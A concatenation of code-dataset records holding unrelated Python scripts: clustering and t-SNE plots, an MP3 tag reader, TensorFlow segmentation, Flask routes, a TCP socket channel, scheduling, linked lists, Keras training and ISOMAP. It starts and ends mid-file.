sDecrypted\n\n","sub_path":"opt.py","file_name":"opt.py","file_ext":"py","file_size_in_byte":2474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"182552684","text":"import os\nimport pandas as pd\nfrom sklearn.cluster import KMeans\nfrom sklearn.cluster import DBSCAN\nfrom sklearn.decomposition import PCA\nfrom sklearn.manifold import TSNE\nimport matplotlib.pyplot as plt\nfrom sklearn.cluster import AgglomerativeClustering\n\n\nCIC_data_folder = \"./shortened_data\"\n\n\n\n\n\ncolor_map = []\ncolor_map_explicit = []\ncolor_set = ['red','blue','yellow','green','orange','purple','lawngreen','magenta','cyan','darkviolet','plum','mediumturquoise','springgreen','lightcoral','gold','aquamarine','darkcyan','royalblue','slategrey','indigo','olivedrab','blueviolet','palegreen','peru','chocolate','firebrick','wheat','salmon','turquoise','black']\ndata = pd.DataFrame()\ndatanum = 0\nfor entry in os.scandir(CIC_data_folder):\n #data = data.append(pd.read_csv(entry, header=None).drop(columns=[0,1]), ignore_index=True)\n if data.empty:\n data = pd.read_csv(entry, header=None).drop([0])\n else:\n data = data.append(pd.read_csv(entry, header=None).drop([0]), ignore_index=True)\n for row in range(0,len(pd.read_csv(entry, header=None).drop([0]).index)):\n color_map_explicit.append(color_set[datanum])\n datanum +=1\ndata = data.drop(columns=[0,1])\nprint(data)\n\nnumber_of_rows = len(data.index)\n\n\n\n\nnumber_of_clusters = 2\n\n# kmeans = KMeans(n_clusters=number_of_clusters).fit(data)\n# k_cluster = kmeans.labels_\n# agglomerativeCluster = AgglomerativeClustering(n_clusters=number_of_clusters).fit(data)\n# a_cluster = agglomerativeCluster.labels_\ncluster_DBSCAN = DBSCAN(eps=4, min_samples=5).fit(data)\nd_cluster = cluster_DBSCAN.labels_\nprint(max(d_cluster))\n#print(d_cluster)\n\n\n#set up color map based on cluster\nfor row in range(0,number_of_rows):\n color_map.append(color_set[d_cluster[0]])\n\n\n#Visulization (PCA Algorithm)\npca_3d = PCA(n_components=3)\nPCs_3d = pd.DataFrame(pca_3d.fit_transform(data))\n\n#Visualization (t-SNE Algorithm)\n\n\n\ntsne_2d = TSNE(n_components=2, perplexity=3) #7,10,11,13,17,19 ,20-22, 27\nTCs_2d = pd.DataFrame(tsne_2d.fit_transform(data))\n \n \n# bx = plt.axes(projection =\"3d\")\n# bx.scatter3D(TCs_2d.loc[:,0],TCs_2d.loc[:,1], TCs_2d.loc[:,2], color = color_map)\n \n \n# plt.title(\"stuff\")\n# plt.show()\n\n#ax = plt.axes(projection =\"3d\")\n#ax.scatter3D(PCs_3d.loc[:,0],PCs_3d.loc[:,1],PCs_3d.loc[:,2], color = color_map)\n#plt.scatter(PCs_3d.loc[:,0],PCs_3d.loc[:,1],c = color_map)\n\n\n#cx = plt.axes(projection =\"3d\")\n#cx.scatter3D(TCs_2d.loc[:,0],TCs_2d.loc[:,1], TCs_2d.loc[:,2], color = color_map_explicit)\np1 = plt.figure(1)\nplt.scatter(TCs_2d.loc[:,0],TCs_2d.loc[:,1],c = color_map_explicit)\nplt.title('t-SNE, Explicit Coloring')\np2 = plt.figure(2)\nplt.scatter(TCs_2d.loc[:,0],TCs_2d.loc[:,1],c = color_map)\nplt.title('t-SNE, Cluster Coloring, DBSCAN')\nplt.show()","sub_path":"Current Files/CIC_dataset_test_v2.py","file_name":"CIC_dataset_test_v2.py","file_ext":"py","file_size_in_byte":2745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"412775180","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport re\nimport os\nimport sys\nimport platform\nfrom mutagen.id3 import ID3\nfrom mutagen.id3 import ID3NoHeaderError\nfrom mutagen import MutagenError\nfrom urllib.parse import unquote\n\nclass track:\n \"\"\"\n Track's class, each track is music a file such mp3, ogg, wma (sic), mpc, flac...\n \"\"\"\n\n def __init__(self,fileName=\"\",extension=\"\",subPath=\"\"):\n self.trackID = 0\n self.title = \"\"\n self.album = \"\"\n self.artist = \"\"\n self.year = 0\n self.trackNumber = 0\n self.position = 0\n self.fileName = fileName\n self.subPath = subPath\n self.path = \"\"\n self.extension = extension\n self.musicDirectoryID = \"\"\n self.mrl = \"\"\n self.parentAlbum = None\n self.radioName = \"\"\n self.radioStream = \"\"\n\n\n\n def printInfos(self):\n print(\"TrackTitle: \"+self.title)\n\n def getFilePathInAlbumDir(self):\n return os.path.join(self.subPath,self.fileName+self.extension)\n\n def setPath(self,path):\n self.subPath = \"\"\n self.path = os.path.dirname(path)\n basename = os.path.basename(path)\n self.fileName, self.extension = os.path.splitext(basename)\n\n def getArtistName(self):\n if self.parentAlbum is not None:\n return self.parentAlbum.artistName\n else:\n return self.artist\n\n\n def getAlbumTitle(self):\n if self.parentAlbum is not None:\n return self.parentAlbum.title\n else:\n return self.album\n\n def getTrackTitle(self):\n if self.radioName != \"\":\n return self.radioName\n else:\n return self.title\n \n\n\n def extractDataFromTagsWithVLC(self,player,dir):\n \"\"\"Extract ID3 metadatas with VLC\"\"\"\n parsedMedia = player.getParsedMedia(os.path.join(dir,self.getFilePathInAlbumDir()))\n self.title = parsedMedia.get_meta(0)\n self.album = parsedMedia.get_meta(4)\n self.artist = parsedMedia.get_meta(1)\n self.trackNumber = parsedMedia.get_meta(5)\n self.year = parsedMedia.get_meta(8)\n print(\"title=\"+self.title+\" album=\"+str(self.album)+\" artist=\"+str(self.artist)+\" N°\"+str(self.trackNumber))\n\n\n def setMRL(self,mrl):\n self.mrl = mrl\n path = unquote(mrl)\n if platform.system() == \"Windows\":\n path = path.replace(\"file:///\",\"\")\n else:\n path = path.replace(\"file://\",\"\")\n self.setPath(path)\n\n\n def getMutagenTags(self,dir=\"\"):\n \"\"\"Extract ID3 metadatas with Mutagen\"\"\"\n try:\n if dir != \"\":\n trackPath = os.path.join(dir,self.getFilePathInAlbumDir())\n else:\n trackPath = os.path.join(self.path,self.getFilePathInAlbumDir())\n\n audio = ID3(trackPath)\n\n self.artist = str(audio.get('TPE1'))\n self.album = str(audio.get('TALB'))\n self.title = str(audio.get(\"TIT2\"))\n self.year = str(audio.get(\"TDRC\"))\n self.trackNumber = str(audio.get(\"TRCK\"))\n\n if self.title in(\"\",\"None\"): self.title = self.fileName\n\n except ID3NoHeaderError:\n print(\"No tags\")\n\n except MutagenError:\n print(\"MutagenError:\"+trackPath)\n\n except:\n print(\"exception mutagen: \"+str(sys.exc_info()[0]))\n\n if self.title in(\"\",\"None\"): self.title = self.fileName","sub_path":"track.py","file_name":"track.py","file_ext":"py","file_size_in_byte":3439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"260545795","text":"import numpy as np\nfrom PIL import Image\nimport time\n\nimport tensorflow as tf\nslim = tf.contrib.slim\n\nfn = '01_sat.png'\n\nmean = [103.939, 116.779, 123.68]\n\nchannel_num = 6;\nchannel_name = ['building', 'road', 'water', 'farm', 'tree', 'other']\n\ndef clamp(img):\n img[img<0] = 0\n img[img>255] = 255\n return img\n\ndef vgg_arg_scope(weight_decay=0.0005):\n with slim.arg_scope([slim.conv2d, slim.fully_connected],\n activation_fn=tf.nn.relu,\n weights_regularizer=slim.l2_regularizer(weight_decay),\n biases_initializer=tf.zeros_initializer()):\n with slim.arg_scope([slim.conv2d], padding='SAME') as arg_sc:\n return arg_sc\n\ndef leaky_relu_001(x):\n return tf.nn.leaky_relu(x, alpha=0.01)\n\ndef vgg_16(inputs, is_training=True, keep_prob=0.5, scope='vgg_16'):\n with tf.variable_scope(scope, 'vgg_16', [inputs]) as sc:\n # Collect outputs for conv2d, fully_connected and max_pool2d.\n with slim.arg_scope([slim.conv2d], activation_fn=leaky_relu_001):\n C1 = slim.repeat(inputs, 2, slim.conv2d, 64, [3, 3], scope='conv1')\n P1 = slim.max_pool2d(C1, [2, 2], scope='pool1')\n C2 = slim.repeat(P1, 2, slim.conv2d, 128, [3, 3], scope='conv2')\n P2 = slim.max_pool2d(C2, [2, 2], scope='pool2')\n C3 = slim.repeat(P2, 3, slim.conv2d, 256, [3, 3], scope='conv3')\n P3 = slim.max_pool2d(C3, [2, 2], scope='pool3')\n C4 = slim.repeat(P3, 3, slim.conv2d, 512, [3, 3], scope='conv4')\n P4 = slim.max_pool2d(C4, [2, 2], scope='pool4')\n C5 = slim.repeat(P4, 3, slim.conv2d, 512, [3, 3], scope='conv5')\n P5 = slim.max_pool2d(C5, [2, 2], scope='pool5')\n\n C6 = slim.conv2d(P5, 1024, [7, 7], scope='conv6')\n C6D = slim.dropout(C6, keep_prob=keep_prob, is_training=is_training, scope='drop6')\n C7 = slim.conv2d(C6D, 1024, [1, 1], scope='conv7')\n C7D = slim.dropout(C7, keep_prob=keep_prob, is_training=is_training, scope='drop7')\n\n D5 = slim.conv2d(C7D, 512, [3, 3], scope='deconv5_conv1')\n PC5 = slim.conv2d(P5, 512, [3, 3], scope='deconv5_conv2')\n D4 = slim.layers.conv2d_transpose(tf.concat([D5, PC5], axis=3), 512, [4, 4], [2, 2], padding='SAME', scope='deconv4')\n PC4 = slim.conv2d(P4, 512, [3, 3], scope='deconv4_conv2')\n D3 = slim.layers.conv2d_transpose(tf.concat([D4, PC4], axis=3), 256, [4, 4], [2, 2], padding='SAME', scope='deconv3')\n PC3 = slim.conv2d(P3, 256, [3, 3], scope='deconv3_conv2')\n D2 = slim.layers.conv2d_transpose(tf.concat([D3, PC3], axis=3), 256, [4, 4], [2, 2], padding='SAME', scope='deconv2')\n PC2 = slim.conv2d(P2, 256, [3, 3], scope='deconv2_conv2')\n D1 = slim.layers.conv2d_transpose(tf.concat([D2, PC2], axis=3), 128, [4, 4], [2, 2], padding='SAME', scope='deconv1')\n PC1 = slim.conv2d(P1, 128, [3, 3], scope='deconv1_conv2')\n D0 = slim.layers.conv2d_transpose(tf.concat([D1, PC1], axis=3), 128, [4, 4], [2, 2], padding='SAME', scope='deconv0')\n logits = slim.conv2d(D0, channel_num, [3, 3], scope='logits')\n\n return logits\n\ndef ConvNet(input):\n curr_arg_scope = vgg_arg_scope()\n with slim.arg_scope(curr_arg_scope):\n logits = vgg_16(input, is_training=False, keep_prob=1.0)\n\n with tf.name_scope('classify'):\n result = tf.nn.softmax(logits, name='result') # softmax applied to last dimension. or, specified by \"dim\"\n\n return result\n\ntest_fn = ConvNet\n\ninput = tf.placeholder(tf.float32, [None, None, None, 3])\nprediction = test_fn(input)\nresult = tf.identity(prediction, name='result')\n\nsess = tf.InteractiveSession()\nsaver = tf.train.Saver(max_to_keep=3)\nsaver.restore(sess, 'checkpoint/last_checkpoint.ckpt')\n\ntemp_sat_PIL = Image.open(fn)\ntemp_sat = np.array(temp_sat_PIL)\ntemp_sat_ = np.copy(temp_sat).astype('float32')\nfor ch in range(3):\n temp_sat_[..., ch] -= mean[ch]\nth, tw, tc = temp_sat_.shape\nimg_input = np.zeros((1, th, tw, 3))\nimg_input[0, :, :, :] = temp_sat_\nc0 = img_input.astype('float32')\n\ntic = time.clock()\n\ntest_result = sess.run(result, feed_dict={input: c0})\n\ntb, th, tw, tc = test_result.shape\ntest_img = np.zeros((th, tw, 3))\ntest_img_ = test_result[0, ...]\ntest_back = np.zeros((th, tw))\nfor j in range(channel_num-1):\n test_back += test_img_[:, :, j]\n\ntest_norm = np.copy(test_back)\ntest_norm[test_norm < 1.0] = 1.0\n\ntest_back[test_back > 1.0] = 1.0\ntest_back = 1 - test_back\n\nfor j in range(channel_num):\n test_img_[..., j] /= test_norm\n\ntest_img[:, :, 0] = test_img_[:, :, 0] * 0 + test_img_[:, :, 1] * 255 + test_img_[:, :, 2] * 255 + test_img_[:, :, 3] * 0 + test_img_[:, :, 4] * 0 + test_back * 255\ntest_img[:, :, 1] = test_img_[:, :, 0] * 0 + test_img_[:, :, 1] * 0 + test_img_[:, :, 2] * 223 + test_img_[:, :, 3] * 255 + test_img_[:, :, 4] * 80 + test_back * 255\ntest_img[:, :, 2] = test_img_[:, :, 0] * 255 + test_img_[:, :, 1] * 0 + test_img_[:, :, 2] * 206 + test_img_[:, :, 3] * 0 + test_img_[:, :, 4] * 0 + test_back * 255\n\ntoc = time.clock()\nprocess_time = '%4.2f(s)' % (toc-tic)\n\ntest_img_PIL = Image.fromarray(np.uint8(test_img[..., ::-1]))\ntest_img_PIL.save('test.png')\n","sub_path":"ss/test_SS.py","file_name":"test_SS.py","file_ext":"py","file_size_in_byte":5082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"429716844","text":"from flask import Blueprint, request, session, render_template\nfrom models.user import requires_login\n\nuser_blueprint = Blueprint('users', __name__)\n\n\n@user_blueprint.route('/login')\ndef login_user():\n is_logged_in = False if not session.get('email') else True\n return render_template(\"users/login.html\", is_logged_in=is_logged_in)\n\n\n@user_blueprint.route('/register')\ndef register_user():\n is_logged_in = False if not session.get('email') else True\n return render_template(\"users/register.html\", is_logged_in=is_logged_in)\n\n\n@user_blueprint.route('/profile', methods=['GET', 'POST'])\n@requires_login\ndef profile():\n is_logged_in = False if not session.get('email') else True\n if request.method == 'POST':\n uname = request.form['uname']\n api_key = request.form['key']\n return render_template(\"users/profile.html\", uname=uname, api_key=api_key, is_logged_in=is_logged_in)\n\n return render_template(\"users/login.html\", is_logged_in=is_logged_in)\n\n\n@user_blueprint.route('/logout')\n@requires_login\ndef logout():\n session.pop('email')\n return render_template(\"home.html\", is_logged_in=False)\n","sub_path":"views/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"60130977","text":"import socket\nfrom application.channel import (Channel, BaseChannel, SenderChannel,\n ReceiverChannel)\nfrom application.message import Message\n\n\nclass BaseSChannel(BaseChannel):\n def __init__(self,\n endpoint: str=None,\n url: str=None):\n\n super(BaseSChannel, self).__init__(endpoint, url)\n\n if self.scheme != 'tcp':\n raise ValueError('Wrong scheme definition')\n\n\nclass SSenderChannel(BaseSChannel, SenderChannel):\n\n def __init__(self,\n endpoint: str=None,\n url: str=None):\n\n super(SSenderChannel, self).__init__(endpoint, url)\n\n # create a socket\n self._connector = socket.socket(socket.AF_INET,\n socket.SOCK_STREAM)\n # connect\n self._connector.connect((self._hostname, self._port))\n\n def send(self, message: Message):\n self._connector.send(message.body.encode())\n\n def close(self):\n self._connector.close()\n\n\nclass SReceiverChannel(BaseSChannel, ReceiverChannel):\n\n MAX_CONNECTIONS = 10\n BUFFER_SIZE = 1024\n\n def __init__(self,\n endpoint: str=None,\n url: str=None):\n\n super(SReceiverChannel, self).__init__(endpoint, url)\n\n # create a socket\n self._connector = socket.socket(socket.AF_INET,\n socket.SOCK_STREAM)\n # bind socket\n self._connector.bind((self._hostname, self._port))\n print('bind: {} {}'.format(self._hostname, self._port))\n # start listening\n self._connector.listen(self.MAX_CONNECTIONS)\n\n def receive(self) -> Message:\n\n # accept connection\n conn, addr = self._connector.accept()\n print('Connected with {} {}\\n'.format(addr[0], str(addr[1])))\n # get message from sender\n data = conn.recv(self.BUFFER_SIZE).decode()\n conn.close()\n\n if data:\n return Message(data)\n else:\n return None\n\n def close(self):\n self._connector.close()\n\nclass SChannel(Channel):\n @classmethod\n def create(cls, endpoint: str, url: str) -> BaseSChannel:\n if endpoint == cls.SENDER:\n return SSenderChannel(endpoint=endpoint, url=url)\n if endpoint == cls.RECEIVER:\n return SReceiverChannel(endpoint=endpoint, url=url)\n","sub_path":"technology/msocket/schannel.py","file_name":"schannel.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"264678076","text":"import task_project_schedule as tps\nimport os\nimport re\n\ndef load_tasks(stripped_lines, n_act, n_res):\n tasks = {}\n for activity in range(n_act):\n line_1 = stripped_lines[activity+1]\n line_2 = stripped_lines[n_act+activity+1]\n task_id = int(line_1[0])\n n_succ = int(line_1[2]) #number of successors\n succ_ids = []\n if n_succ > 0:\n for i in range(n_succ):\n succ_ids.append(int(line_1[3+i]))\n w = int(line_2[3]) #principle work-content\n u_lower, u_upper = [], []\n for r in range(n_res):\n u_lower.append(int(line_2[4+2*r]))\n u_upper.append(int(line_2[4+2*r+1]))\n task = tps.Task(task_id, w, u_lower[0], u_upper[0], succ_ids)\n tasks[task_id] = task\n return tasks\n\ndef load_project(project_file_path):\n f = open(project_file_path, 'r')\n raw_lines = f.read().splitlines()\n stripped_lines = []\n for line in raw_lines:\n stripped_lines.append(re.split('\\t', line))\n first_line = stripped_lines[0]\n n_act = int(first_line[0])+2 #total number of activities incl. dummies\n n_res = int(first_line[1])\n last_line = stripped_lines[2*n_act + 1]\n b = [] #resource availabilities\n for r in range(n_res):\n b.append(int(last_line[r]))\n l = int(last_line[n_res]) #min. block length\n tasks = load_tasks(stripped_lines, n_act, n_res)\n project = tps.Project(project_file_path, tasks, b[0], l)\n return project\n\nproject_file_path = \"test_instance.sch\"\n\nproject = load_project(project_file_path)\n\nschedules = project.get_heuristic_schedules()\nprint(\"schedule makespans: \", [schedule.makespan for schedule in schedules])\nbest_schedule = schedules[0]\nprint(\"l: \", project.l)\nprint(\"w: \", project.R_max)\nprint(\"resource_availability: \", best_schedule.resource_availability)\nprint(\"task_resource_usages: \", best_schedule.task_resource_usage)\nprint(\"optimal makespan: \", max(best_schedule.resource_availability.keys()))\nprint(\"optimal activity list representation: \", [task.id for task in best_schedule.alr.values()])\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"212452894","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport logging\n\nfrom flask import Flask, redirect, url_for\nfrom flask_bootstrap import Bootstrap\n\napp = Flask(__name__)\nBootstrap(app)\n\n################################################################################\n### Override with specific settings based on the FLASK_ENV env var\n################################################################################\n\nif \"FLASK_ENV\" in os.environ:\n if os.environ[\"FLASK_ENV\"] == 'prod':\n app.config.from_object('app.config.config.ProductionConfig')\nelse:\n app.config.from_object('app.config.config.DevelopmentConfig')\n\n################################################################################\n### Extra Jinja Filters\n################################################################################\n\n@app.template_filter()\ndef display_beer_icon_filter(value):\n escaped_beer_name = value.lower().replace(\" \", \"_\")\n\n if os.path.isfile(\"%s/static/img/beers/%s.png\" %(app.config['BASE_DIR'], escaped_beer_name)):\n return url_for('static', filename=\"img/beers/%s.png\" %(escaped_beer_name))\n else:\n return url_for('static', filename='img/beers/unknown.png')\n\napp.jinja_env.filters['display_beer_icon'] = display_beer_icon_filter\n\n################################################################################\n### Elasticsearch Setup\n################################################################################\n\nfrom elasticsearch import Elasticsearch\n\nes = Elasticsearch(\"%s:%s\" %(app.config['ELASTICSEARCH_DNS'],\n app.config['ELASTICSEARCH_PORT']))\n\n################################################################################\n# Blueprints registration\n################################################################################\n\nfrom app.home.controllers import home\nfrom app.heartbeat.controllers import heartbeat\n\napp.register_blueprint(home)\napp.register_blueprint(heartbeat)\n\n@app.route('/', methods=['GET'])\n# @app.errorhandler(404)\ndef index(error=None):\n return redirect(url_for('home.display'))","sub_path":"webapp/app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"571738045","text":"class Node:\n def __init__(self, value):\n self.value = value\n self.next = None\n\nclass Slist:\n #count = 1\n def __init__(self):\n self.head = None\n\n def addfront(self, val):\n nn = Node(val)\n nn.next = self.head\n self.head = nn\n\n\n def kthElemFromTheEnd(self,k):\n runner = self.head\n temp = self.head\n count = 1\n if k <= 0:\n return self\n\n while (count <= k and runner != None): \n runner = runner.next\n print(\"count:\", count, \"runner.value=\")\n if count == k:\n temp = runner\n print(\"in w\",temp.value)\n count = 1\n temp = temp.next\n count += 1\n print(\"k after func:\", temp.value)\n return temp.value\n\n\n\n\n\n def removeNthFromEnd(self, n):\n length, count, temp = 1, 1, self.head\n\n while temp.next:\n length, temp = length + 1, temp.next\n temp = self.head\n\n if length == n: return self.head.next\n\n while count < length - n:\n count, temp = count + 1, temp.next\n temp.next = temp.next.next\n print(temp.next.value)\n return self\n\n def kthwith2whileloops(self, k):\n runner = self.head\n count = 1\n\n while count < k:\n runner2 = runner.next\n count += 1\n\n while runner2.next:\n runner = runner.next\n runner2 = runner2.next\n \n return runner.val\n\n\n\n def printlist(self):\n runner = self.head\n while(runner):\n print(runner.value, end = \" \")\n runner = runner.next\n\nmylist = Slist()\nmylist.addfront(6)\nmylist.addfront(5)\nmylist.addfront(4)\nmylist.addfront(3)\nmylist.addfront(2)\nmylist.addfront(1)\n\nmylist.printlist()\nk=2\nprint(f\"the k={k} The kth element is:\")\n#mylist.kthElemFromTheEnd(k)\nmylist.kthwith2whileloops(1)\n\n#mylist.removeNthFromEnd(2)\n\nmylist.printlist()\n","sub_path":"python/data_structures/kthelementformtheend.py","file_name":"kthelementformtheend.py","file_ext":"py","file_size_in_byte":1980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"290098981","text":"#! /usr/bin/env python\n\nimport numpy as np\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Activation, Dropout\nfrom keras.optimizers import SGD, RMSprop\nfrom keras.regularizers import l1, l2, l1_l2\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint\nimport argparse, tarfile, os, tempfile, shutil, json\n\nfrom keras import backend as K\n\ndef create_model():\n with open('hyperparameters.json', 'r') as f:\n spec = json.load(f)\n\n model = Sequential()\n\n layer = spec['layers']\n units = layer.pop('units')\n dropout = layer.pop('dropout', None)\n next = layer.pop('next', None)\n\n print(layer)\n model.add(Dense(units, input_shape=(3,), **layer))\n if dropout is not None and 'rate' in dropout:\n model.add(Dropout(dropout['rate']))\n\n layer = next\n\n while layer is not None:\n print(layer)\n units = layer.pop('units')\n dropout = layer.pop('dropout')\n next = layer.pop('next', None)\n model.add(Dense(\n units,\n input_shape=(units,),\n **layer\n ))\n\n if dropout is not None and 'rate' in dropout:\n model.add(Dropout(dropout['rate']))\n\n layer = next\n\n model.add(Dense(1, activation='sigmoid'))\n\n opt = spec.pop('optimizer')\n if opt == 'sgd':\n opt = SGD(lr=spec['lr'])\n elif opt == 'rmsprop':\n opt = RMSProp(lr=spec['lr'])\n \n model.compile(\n optimizer=opt,\n loss=spec['loss'],\n metrics=[accuracy]\n )\n\n return model\n\n\ndef accuracy(y_true, y_pred):\n correct = K.equal(y_true - y_pred, K.zeros_like(y_true, dtype='float32'))\n n = K.sum(K.cast(correct, 'float32'))\n t = K.sum(K.ones_like(y_true, dtype='float32'))\n return n / t\n\n\ndef write_output(loss, acc):\n with open('performance.json', 'w') as f:\n json.dump({'loss': loss ,'acc': acc}, f)\n\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser(description='Train ANN auto-encoder.')\n parser.add_argument('infile',\n help='File name for reading events.')\n\n parser.add_argument('-o','--out', dest='outbase', metavar='OUTBASE',\n default='model',\n help='File name base (no extension) ' +\n 'for saving model structure and weights (two separate ' +\n 'files).')\n\n parser.add_argument('-N','--num-epochs',\n default=10, type=int,\n help='Number of epochs')\n\n parser.add_argument('-b','--batch-size',\n default=256, type=int,\n help='Minibatch size')\n\n parser.add_argument('-l','--layer', dest='layers',\n metavar = 'NH', action='append',\n type=int,\n help='Specify a layer with %(metavar)s hidden layers. ' +\n 'Multiple layers can be specified')\n\n parser.add_argument('--reg-type', choices = ['l1','l2','l1_l2'],\n help='Type of regularization to apply')\n\n parser.add_argument('--reg-penalty',type=float, default=0.001,\n help='Regularization penalty')\n\n def restricted_float(x):\n x = float(x)\n if x < 0.0 or x > 1.0:\n raise argparse.ArgumentTypeError(\"%r not in range [0.0, 1.0]\"%(x,))\n return x\n\n parser.add_argument('--train-fraction',type=restricted_float,\n default = 0.9,\n help='Fraction (between 0. and 1.) of the examples in '+\n 'the input file to use for training. The rest is used '+\n 'for testing.')\n\n args = parser.parse_args()\n\n # Keep track of all the output files generate so they can be\n # stuffed into a tar file. (Yes, a tarfile. I'm old, OK?)\n outFileList = []\n tmpDirName = tempfile.mkdtemp()\n\n # Load the data\n npfile = np.load(args.infile)\n\n inputs = npfile['inputs']\n outputs = npfile['outputs']\n\n # Standardize the input so that it has mean 0 and std dev. of 1. This helps\n # tremendously with training performance.\n # inputMeans = inputs[0:int(inputs.shape[0]*args.train_fraction),:].mean(axis=0)\n # inputStdDevs = inputs[0:int(inputs.shape[0]*args.train_fraction),:].std(axis=0)\n # inputs = (inputs-inputMeans)/inputStdDevs\n # outputMeans = outputs[0:int(outputs.shape[0]*args.train_fraction)].mean(axis=0)\n # outputStdDevs = outputs[0:int(outputs.shape[0]*args.train_fraction)].std(axis=0)\n # outputs = (outputs-outputMeans)/outputStdDevs\n\n inputMeans = inputs.mean(axis=0)\n inputStdDevs = inputs.std(axis=0)\n inputs = (inputs-inputMeans)/inputStdDevs\n outputMeans = outputs.mean(axis=0)\n outputStdDevs = outputs.std(axis=0)\n outputs = (outputs-outputMeans)/outputStdDevs\n\n npFileName = 'std.npz'\n outFileList.append(npFileName)\n np.savez_compressed(os.path.join(tmpDirName,npFileName),\n inputMeans=inputMeans,\n inputStdDevs=inputStdDevs,\n outputMeans=outputMeans,\n outputStdDevs=outputStdDevs)\n\n if False:\n # Initialize the appropriate regularizer (if any)\n reg = None\n if args.reg_type == \"l1\":\n reg = l1(args.reg_penalty)\n elif args.reg_type == \"l2\":\n reg = l1(args.reg_penalty)\n elif args.reg_type == \"l1_l2\":\n reg = l1_l2(args.reg_penalty)\n\n # Check the requested layers. If none, make the simplest\n # possible: 1 layer with number of nodes equal to the size of the\n # input.\n if hasattr(args,'layers') and args.layers != None:\n layers = args.layers\n else:\n layers = [inputs.shape[1]]\n\n\n # Build a model\n model = Sequential()\n #print layers\n # First layer\n model.add(Dense(1,input_dim=3))\n model.add(Activation('linear'))\n\n model.compile(loss='mse',\n optimizer='adam')\n\n model = create_model()\n train_split = int(inputs.shape[0] * args.train_fraction)\n model.fit(\n inputs[0:train_split],\n outputs[0:train_split],\n batch_size=256,\n epochs=100\n )\n\n loss = model.evaluate(inputs[train_split:], outputs[train_split:], batch_size=256)\n write_output(loss, 0)\n j = model.to_json()\n with open('model.json', 'w') as f:\n json.dump(j, f)\n model.save_weights('weights.h5')\n # Add callbacks\n # filepath = 'model.h5'\n # outFileList.append(filepath)\n # checkpoint = ModelCheckpoint(os.path.join(tmpDirName,filepath), monitor = 'val_loss', mode = 'min', save_best_only = True)\n # model.summary()\n\n # hist = model.fit(inputs, outputs, validation_split=(1-args.train_fraction),\n # epochs=args.num_epochs, batch_size=args.batch_size, verbose=2, callbacks=[checkpoint])\n\n # print 'Tarring outfiles...'\n # outfile_name = '{}_N{}_b{}_l{}_frac{:f}'.format(args.outbase,\n # args.num_epochs,\n # args.batch_size,\n # '_'.join([str(l) for l in layers]),\n # args.train_fraction)\n # if hasattr(args,'reg_type') and args.reg_type != None:\n # outfile_name += ('{}{:f}'.format(args.reg_type,args.reg_penalty))\n #\n # outfile_name += '.tgz'\n #\n # with tarfile.open(outfile_name,'w:gz') as tar:\n # for f in outFileList:\n # tar.add(os.path.join(tmpDirName,f),f)\n #\n # shutil.rmtree(tmpDirName)\n #\n # print 'Done.'\n","sub_path":"v_to_sum/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":7709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"252836040","text":"#####################################################################\n#\n# ISOMAP (Isometric Feature Mapping) analysis example on Swiss Roll data.\n# =======================================================================\n#\n# DATASET URL: http://isomap.stanford.edu/datasets.html\n# ------------\n#\n# The following files are used to run the analysis here:\n#\n# swiss_roll_data.mat: Data coordinates are contained in X_data and Y_data\n# variables\n# --------------------------------------\n# The codes are based on Python2.7. \n# Please install numpy, scipy, matplotlib packages before using.\n# Update the matplotlib package to the newest edition to enable 3-D plot\n# Thank you for your suggestions!\n#\n# @version 1.0\n# --------------------------------------\n#####################################################################\nimport scipy.io as sio \nimport numpy as np\nfrom scipy.sparse import csc_matrix, csgraph\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D \n\nmatFile = sio.loadmat('swiss_roll_data.mat')\n\nx = matFile['X_data']\nx = np.array(x)\nx = x[:, np.arange(0, x.shape[1], 10)]\n\ny = matFile['Y_data']\ny = np.array(y)\ny = y[:, np.arange(0, y.shape[1], 10)]\n\n# number of data points to work with \nm = x.shape[1]\n\n# Plot 3D scatter of the original data points. Rotate the figure using the\n# rotate 3D button in the above panel for figure window to see the 3D swiss\n# roll.\nplt.figure(1)\nplt.ion()\nax = Axes3D(plt.gcf())\nax.scatter(x[0,:], x[1,:], x[2,:], s = 18 * np.ones((1, m)), c = y[0,:])\nplt.show()\nplt.ioff()\n\nraw_input('press any key to continue\\n')\n\n## Step 1: Create neigborhood graph \n# Find neighbors of each data point within distance epsilon (e).\n# G is the adjacency matrix recording neighbor Euclidean distance \nG1 = np.sum(np.power(x,2),axis = 0).T.reshape(m,1)\nG1 = G1.dot(np.ones((1,m)))\nG2 = np.sum(np.power(x,2),axis = 0).reshape(1,m)\nG2 = np.ones((m, 1)).dot(G2)\nG3 = 2 * x.T.dot(x)\nG = G1 + G2 - G3\nG[G < 0] = 0\nG = np.sqrt(G)\n\ne = 0.2 * np.median(G)\nG[G > e] = 0\n\n# Get rid of effectively Infinite distance for simplicity\nsG = np.sum(G, axis = 0)\nidx = np.where(sG != 0)[0]\n\nG = G[idx,:][:,idx]\nm = 